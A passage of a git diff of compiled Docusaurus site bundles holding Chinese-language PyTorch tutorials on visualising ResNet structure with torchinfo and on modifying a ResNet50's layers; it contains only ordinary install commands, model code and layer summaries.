\u3002\u672c\u8282\u6211\u4eec\u5c06\u4ecb\u7ecd\u5982\u4f55\u4f7f\u7528torchinfo\u6765\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"711-\u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f",children:"7.1.1 \u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f"}),"\n",(0,s.jsx)(e.p,{children:"\u5728\u672c\u8282\u4e2d\uff0c\u6211\u4eec\u5c06\u4f7f\u7528ResNet18\u7684\u7ed3\u6784\u8fdb\u884c\u5c55\u793a\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import torchvision.models as models\nmodel = models.resnet18()\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u901a\u8fc7\u4e0a\u9762\u7684\u4e24\u6b65\uff0c\u6211\u4eec\u5c31\u5f97\u5230resnet18\u7684\u6a21\u578b\u7ed3\u6784\u3002\u5728\u5b66\u4e60torchinfo\u4e4b\u524d\uff0c\u8ba9\u6211\u4eec\u5148\u770b\u4e0b\u76f4\u63a5print(model)\u7684\u7ed3\u679c\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"ResNet(\n (conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)\n (layer1): Sequential(\n (0): Bottleneck(\n (conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)\n (bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (downsample): Sequential(\n (0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n )\n )\n ... ...\n )\n (avgpool): AdaptiveAvgPool2d(output_size=(1, 1))\n (fc): Linear(in_features=2048, out_features=1000, bias=True)\n)\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u5355\u7eaf\u7684print(model)\uff0c\u53ea\u80fd\u5f97\u51fa\u57fa\u7840\u6784\u4ef6\u7684\u4fe1\u606f\uff0c\u65e2\u4e0d\u80fd\u663e\u793a\u51fa\u6bcf\u4e00\u5c42\u7684shape\uff0c\u4e5f\u4e0d\u80fd\u663e\u793a\u5bf9\u5e94\u53c2\u6570\u91cf\u7684\u5927\u5c0f\uff0c\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e9b\u95ee\u9898\uff0c\u6211\u4eec\u5c31\u9700\u8981\u4ecb\u7ecd\u51fa\u6211\u4eec\u4eca\u5929\u7684\u4e3b\u4eba\u516c",(0,s.jsx)(e.code,{children:"torchinfo"}),"\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"712-\u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",children:"7.1.2 \u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.strong,{children:"torchinfo\u7684\u5b89\u88c5"})}),"\n"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"# \u5b89\u88c5\u65b9\u6cd5\u4e00\npip install torchinfo \n# \u5b89\u88c5\u65b9\u6cd5\u4e8c\nconda install -c conda-forge torchinfo\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.strong,{children:"torchinfo\u7684\u4f7f\u7528"})}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["trochinfo\u7684\u4f7f\u7528\u4e5f\u662f\u5341\u5206\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528",(0,s.jsx)(e.code,{children:"torchinfo.summary()"}),"\u5c31\u884c\u4e86\uff0c\u5fc5\u9700\u7684\u53c2\u6570\u5206\u522b\u662fmodel\uff0cinput_size[batch_size,channel,h,w]\uff0c\u66f4\u591a\u53c2\u6570\u53ef\u4ee5\u53c2\u8003",(0,s.jsx)(e.a,{href:"https://github.com/TylerYep/torchinfo#documentation",children:"documentation"}),"\uff0c\u4e0b\u9762\u8ba9\u6211\u4eec\u4e00\u8d77\u901a\u8fc7\u4e00\u4e2a\u5b9e\u4f8b\u8fdb\u884c\u5b66\u4e60\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import torchvision.models as models\nfrom torchinfo import summary\nresnet18 = models.resnet18() # \u5b9e\u4f8b\u5316\u6a21\u578b\nsummary(resnet18, (1, 3, 224, 224)) # 1\uff1abatch_size 3:\u56fe\u7247\u7684\u901a\u9053\u6570 224: \u56fe\u7247\u7684\u9ad8\u5bbd\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.strong,{children:"torchinfo\u7684\u7ed3\u6784\u5316\u8f93\u51fa"})}),"\n"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"=========================================================================================\nLayer (type:depth-idx) Output Shape Param #\n=========================================================================================\nResNet -- --\n\u251c\u2500Conv2d: 1-1 [1, 64, 112, 112] 9,408\n\u251c\u2500BatchNorm2d: 1-2 [1, 64, 112, 112] 128\n\u251c\u2500ReLU: 1-3 [1, 64, 112, 112] --\n\u251c\u2500MaxPool2d: 1-4 [1, 64, 56, 56] --\n\u251c\u2500Sequential: 1-5 [1, 64, 56, 56] --\n\u2502 \u2514\u2500BasicBlock: 2-1 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-1 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-2 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-3 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-4 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-5 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-6 [1, 64, 56, 56] --\n\u2502 \u2514\u2500BasicBlock: 2-2 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-7 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-8 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-9 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-10 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-11 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-12 [1, 64, 56, 56] --\n\u251c\u2500Sequential: 1-6 [1, 128, 28, 28] --\n\u2502 \u2514\u2500BasicBlock: 2-3 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-13 [1, 128, 28, 28] 73,728\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-14 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500ReLU: 3-15 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-16 [1, 128, 28, 28] 147,456\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-17 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500Sequential: 3-18 [1, 128, 28, 28] 8,448\n\u2502 \u2502 \u2514\u2500ReLU: 3-19 [1, 128, 28, 28] --\n\u2502 \u2514\u2500BasicBlock: 2-4 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-20 [1, 128, 28, 28] 147,456\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-21 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500ReLU: 3-22 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-23 [1, 128, 28, 28] 147,456\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-24 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500ReLU: 3-25 [1, 128, 28, 28] --\n\u251c\u2500Sequential: 1-7 [1, 256, 14, 14] --\n\u2502 \u2514\u2500BasicBlock: 2-5 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-26 [1, 256, 14, 14] 294,912\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-27 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500ReLU: 3-28 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-29 [1, 256, 14, 14] 589,824\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-30 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500Sequential: 3-31 [1, 256, 14, 14] 33,280\n\u2502 \u2502 \u2514\u2500ReLU: 3-32 [1, 256, 14, 14] --\n\u2502 \u2514\u2500BasicBlock: 2-6 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-33 [1, 256, 14, 14] 589,824\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-34 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500ReLU: 3-35 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-36 [1, 256, 14, 14] 589,824\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-37 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500ReLU: 3-38 [1, 256, 14, 14] --\n\u251c\u2500Sequential: 1-8 [1, 512, 7, 7] --\n\u2502 \u2514\u2500BasicBlock: 2-7 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-39 [1, 512, 7, 7] 1,179,648\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-40 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500ReLU: 3-41 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-42 [1, 512, 7, 7] 2,359,296\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-43 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500Sequential: 3-44 [1, 512, 7, 7] 132,096\n\u2502 \u2502 \u2514\u2500ReLU: 3-45 [1, 512, 7, 7] --\n\u2502 \u2514\u2500BasicBlock: 2-8 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-46 [1, 512, 7, 7] 2,359,296\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-47 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500ReLU: 3-48 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-49 [1, 512, 7, 7] 2,359,296\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-50 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500ReLU: 3-51 [1, 512, 7, 7] --\n\u251c\u2500AdaptiveAvgPool2d: 1-9 [1, 512, 1, 1] --\n\u251c\u2500Linear: 1-10 [1, 1000] 513,000\n=========================================================================================\nTotal params: 11,689,512\nTrainable params: 11,689,512\nNon-trainable params: 0\nTotal mult-adds (G): 1.81\n=========================================================================================\nInput size (MB): 0.60\nForward/backward pass size (MB): 39.75\nParams size (MB): 46.76\nEstimated Total Size (MB): 87.11\n=========================================================================================\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u770b\u5230torchinfo\u63d0\u4f9b\u4e86\u66f4\u52a0\u8be6\u7ec6\u7684\u4fe1\u606f\uff0c\u5305\u62ec\u6a21\u5757\u4fe1\u606f\uff08\u6bcf\u4e00\u5c42\u7684\u7c7b\u578b\u3001\u8f93\u51fashape\u548c\u53c2\u6570\u91cf\uff09\u3001\u6a21\u578b\u6574\u4f53\u7684\u53c2\u6570\u91cf\u3001\u6a21\u578b\u5927\u5c0f\u3001\u4e00\u6b21\u524d\u5411\u6216\u8005\u53cd\u5411\u4f20\u64ad\u9700\u8981\u7684\u5185\u5b58\u5927\u5c0f\u7b49"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u6ce8\u610f"}),"\uff1a"]}),"\n",(0,s.jsxs)(e.p,{children:["\u4f46\u4f60\u4f7f\u7528\u7684\u662fcolab\u6216\u8005jupyter notebook\u65f6\uff0c\u60f3\u8981\u5b9e\u73b0\u8be5\u65b9\u6cd5\uff0c",(0,s.jsx)(e.code,{children:"summary()"}),"\u4e00\u5b9a\u662f\u8be5\u5355\u5143\uff08\u5373notebook\u4e2d\u7684cell\uff09\u7684\u8fd4\u56de\u503c\uff0c\u5426\u5219\u6211\u4eec\u5c31\u9700\u8981\u4f7f\u7528",(0,s.jsx)(e.code,{children:"print(summary(...))"}),"\u6765\u53ef\u89c6\u5316\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,o.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(a,{...n})}):a(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>l});var r=t(96540);const s={},o=r.createContext(s);function i(n){const e=r.useContext(o);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),r.createElement(o.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/550ca4a2.c068a9d2.js b/assets/js/550ca4a2.c068a9d2.js new file mode 100644 index 0000000..577a7dd --- /dev/null +++ b/assets/js/550ca4a2.c068a9d2.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6392],{28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var t=r(96540);const s={},l=t.createContext(s);function i(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),t.createElement(l.Provider,{value:n},e.children)}},86401:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>h,frontMatter:()=>i,metadata:()=>t,toc:()=>c});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"},"next":{"title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"}}');var s=r(74848),l=r(28453);const i={},d="5.3 PyTorch\u4fee\u6539\u6a21\u578b.md",o={},c=[{value:"5.3.1 \u4fee\u6539\u6a21\u578b\u5c42",id:"531-\u4fee\u6539\u6a21\u578b\u5c42",level:2},{value:"5.3.2 \u6dfb\u52a0\u5916\u90e8\u8f93\u5165",id:"532-\u6dfb\u52a0\u5916\u90e8\u8f93\u5165",level:2},{value:"5.3.3 \u6dfb\u52a0\u989d\u5916\u8f93\u51fa",id:"533-\u6dfb\u52a0\u989d\u5916\u8f93\u51fa",level:2}];function a(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"53-pytorch\u4fee\u6539\u6a21\u578bmd",children:"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"53-pytorch\u4fee\u6539\u6a21\u578b",children:"5.3 PyTorch\u4fee\u6539\u6a21\u578b"}),"\n",(0,s.jsx)(n.p,{children:"\u9664\u4e86\u81ea\u5df1\u6784\u5efaPyTorch\u6a21\u578b\u5916\uff0c\u8fd8\u6709\u53e6\u4e00\u79cd\u5e94\u7528\u573a\u666f\uff1a\u6211\u4eec\u5df2\u7ecf\u6709\u4e00\u4e2a\u73b0\u6210\u7684\u6a21\u578b\uff0c\u4f46\u8be5\u6a21\u578b\u4e2d\u7684\u90e8\u5206\u7ed3\u6784\u4e0d\u7b26\u5408\u6211\u4eec\u7684\u8981\u6c42\uff0c\u4e3a\u4e86\u4f7f\u7528\u6a21\u578b\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u8fdb\u884c\u5fc5\u8981\u7684\u4fee\u6539\u3002\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\u548cPyTorch\u8d8a\u6765\u8d8a\u5e7f\u6cdb\u7684\u4f7f\u7528\uff0c\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u5f00\u6e90\u6a21\u578b\u53ef\u4ee5\u4f9b\u6211\u4eec\u4f7f\u7528\uff0c\u5f88\u591a\u65f6\u5019\u6211\u4eec\u4e5f\u4e0d\u5fc5\u4ece\u5934\u5f00\u59cb\u6784\u5efa\u6a21\u578b\u3002\u56e0\u6b64\uff0c\u638c\u63e1\u5982\u4f55\u4fee\u6539PyTorch\u6a21\u578b\u5c31\u663e\u5f97\u5c24\u4e3a\u91cd\u8981\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u8282\u6211\u4eec\u5c31\u6765\u63a2\u7d22\u8fd9\u4e00\u95ee\u9898\u3002\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5982\u4f55\u5728\u5df2\u6709\u6a21\u578b\u7684\u57fa\u7840\u4e0a\uff1a\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u4fee\u6539\u6a21\u578b\u82e5\u5e72\u5c42"}),"\n",(0,s.jsx)(n.li,{children:"\u6dfb\u52a0\u989d\u5916\u8f93\u5165"}),"\n",(0,s.jsx)(n.li,{children:"\u6dfb\u52a0\u989d\u5916\u8f93\u51fa"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"531-\u4fee\u6539\u6a21\u578b\u5c42",children:"5.3.1 \u4fee\u6539\u6a21\u578b\u5c42"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u8fd9\u91cc\u4ee5PyTorch\u5b98\u65b9\u89c6\u89c9\u5e93torchvision\u9884\u5b9a\u4e49\u597d\u7684\u6a21\u578bResNet50\u4e3a\u4f8b\uff0c\u63a2\u7d22\u5982\u4f55\u4fee\u6539\u6a21\u578b\u7684\u67d0\u4e00\u5c42\u6216\u8005\u67d0\u51e0\u5c42\u3002\u6211\u4eec\u5148\u770b\u770b\u6a21\u578b\u7684\u5b9a\u4e49\u662f\u600e\u6837\u7684\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u5bfc\u5165\u5fc5\u8981\u7684package\nimport torch\nimport torch.nn as nn\nfrom collections import OrderedDict\nimport torchvision.models as models\nnet = models.resnet50()\nprint(net)\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"ResNet(\n (conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)\n (layer1): Sequential(\n (0): Bottleneck(\n (conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)\n (bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (downsample): Sequential(\n (0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n )\n )\n..............\n (avgpool): AdaptiveAvgPool2d(output_size=(1, 1))\n (fc): Linear(in_features=2048, out_features=1000, bias=True)\n)\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u6a21\u578b\u7ed3\u6784\u662f\u4e3a\u4e86\u9002\u914dImageNet\u9884\u8bad\u7ec3\u7684\u6743\u91cd\uff0c\u56e0\u6b64\u6700\u540e\u5168\u8fde\u63a5\u5c42\uff08fc\uff09\u7684\u8f93\u51fa\u8282\u70b9\u6570\u662f1000\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5047\u8bbe\u6211\u4eec\u8981\u7528\u8fd9\u4e2aresnet\u6a21\u578b\u53bb\u505a\u4e00\u4e2a10\u5206\u7c7b\u7684\u95ee\u9898\uff0c\u5c31\u5e94\u8be5\u4fee\u6539\u6a21\u578b\u7684fc\u5c42\uff0c\u5c06\u5176\u8f93\u51fa\u8282\u70b9\u6570\u66ff\u6362\u4e3a10\u3002\u53e6\u5916\uff0c\u6211\u4eec\u89c9\u5f97\u4e00\u5c42\u5168\u8fde\u63a5\u5c42\u53ef\u80fd\u592a\u5c11\u4e86\uff0c\u60f3\u518d\u52a0\u4e00\u5c42\u3002\u53ef\u4ee5\u505a\u5982\u4e0b\u4fee\u6539\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"classifier = nn.Sequential(OrderedDict([('fc1', nn.Linear(2048, 128)),\n ('relu1', nn.ReLU()), \n ('dropout1',nn.Dropout(0.5)),\n ('fc2', nn.Linear(128, 10)),\n ('output', nn.Softmax(dim=1))\n ]))\n \nnet.fc = classifier\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u7684\u64cd\u4f5c\u76f8\u5f53\u4e8e\u5c06\u6a21\u578b\uff08net\uff09\u6700\u540e\u540d\u79f0\u4e3a\u201cfc\u201d\u7684\u5c42\u66ff\u6362\u6210\u4e86\u540d\u79f0\u4e3a\u201cclassifier\u201d\u7684\u7ed3\u6784\uff0c\u8be5\u7ed3\u6784\u662f\u6211\u4eec\u81ea\u5df1\u5b9a\u4e49\u7684\u3002\u8fd9\u91cc\u4f7f\u7528\u4e86\u7b2c\u4e00\u8282\u4ecb\u7ecd\u7684Sequential+OrderedDict\u7684\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f\u3002\u81f3\u6b64\uff0c\u6211\u4eec\u5c31\u5b8c\u6210\u4e86\u6a21\u578b\u7684\u4fee\u6539\uff0c\u73b0\u5728\u7684\u6a21\u578b\u5c31\u53ef\u4ee5\u53bb\u505a10\u5206\u7c7b\u4efb\u52a1\u4e86\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"532-\u6dfb\u52a0\u5916\u90e8\u8f93\u5165",children:"5.3.2 \u6dfb\u52a0\u5916\u90e8\u8f93\u5165"}),"\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\u5019\u5728\u6a21\u578b\u8bad\u7ec3\u4e2d\uff0c\u9664\u4e86\u5df2\u6709\u6a21\u578b\u7684\u8f93\u5165\u4e4b\u5916\uff0c\u8fd8\u9700\u8981\u8f93\u5165\u989d\u5916\u7684\u4fe1\u606f\u3002\u6bd4\u5982\u5728CNN\u7f51\u7edc\u4e2d\uff0c\u6211\u4eec\u9664\u4e86\u8f93\u5165\u56fe\u50cf\uff0c\u8fd8\u9700\u8981\u540c\u65f6\u8f93\u5165\u56fe\u50cf\u5bf9\u5e94\u7684\u5176\u4ed6\u4fe1\u606f\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u5728\u5df2\u6709\u7684CNN\u7f51\u7edc\u4e2d\u6dfb\u52a0\u989d\u5916\u7684\u8f93\u5165\u53d8\u91cf\u3002\u57fa\u672c\u601d\u8def\u662f\uff1a\u5c06\u539f\u6a21\u578b\u6dfb\u52a0\u8f93\u5165\u4f4d\u7f6e\u524d\u7684\u90e8\u5206\u4f5c\u4e3a\u4e00\u4e2a\u6574\u4f53\uff0c\u540c\u65f6\u5728forward\u4e2d\u5b9a\u4e49\u597d\u539f\u6a21\u578b\u4e0d\u53d8\u7684\u90e8\u5206\u3001\u6dfb\u52a0\u7684\u8f93\u5165\u548c\u540e\u7eed\u5c42\u4e4b\u95f4\u7684\u8fde\u63a5\u5173\u7cfb\uff0c\u4ece\u800c\u5b8c\u6210\u6a21\u578b\u7684\u4fee\u6539\u3002"}),"\n",(0,s.jsx)(n.p,{child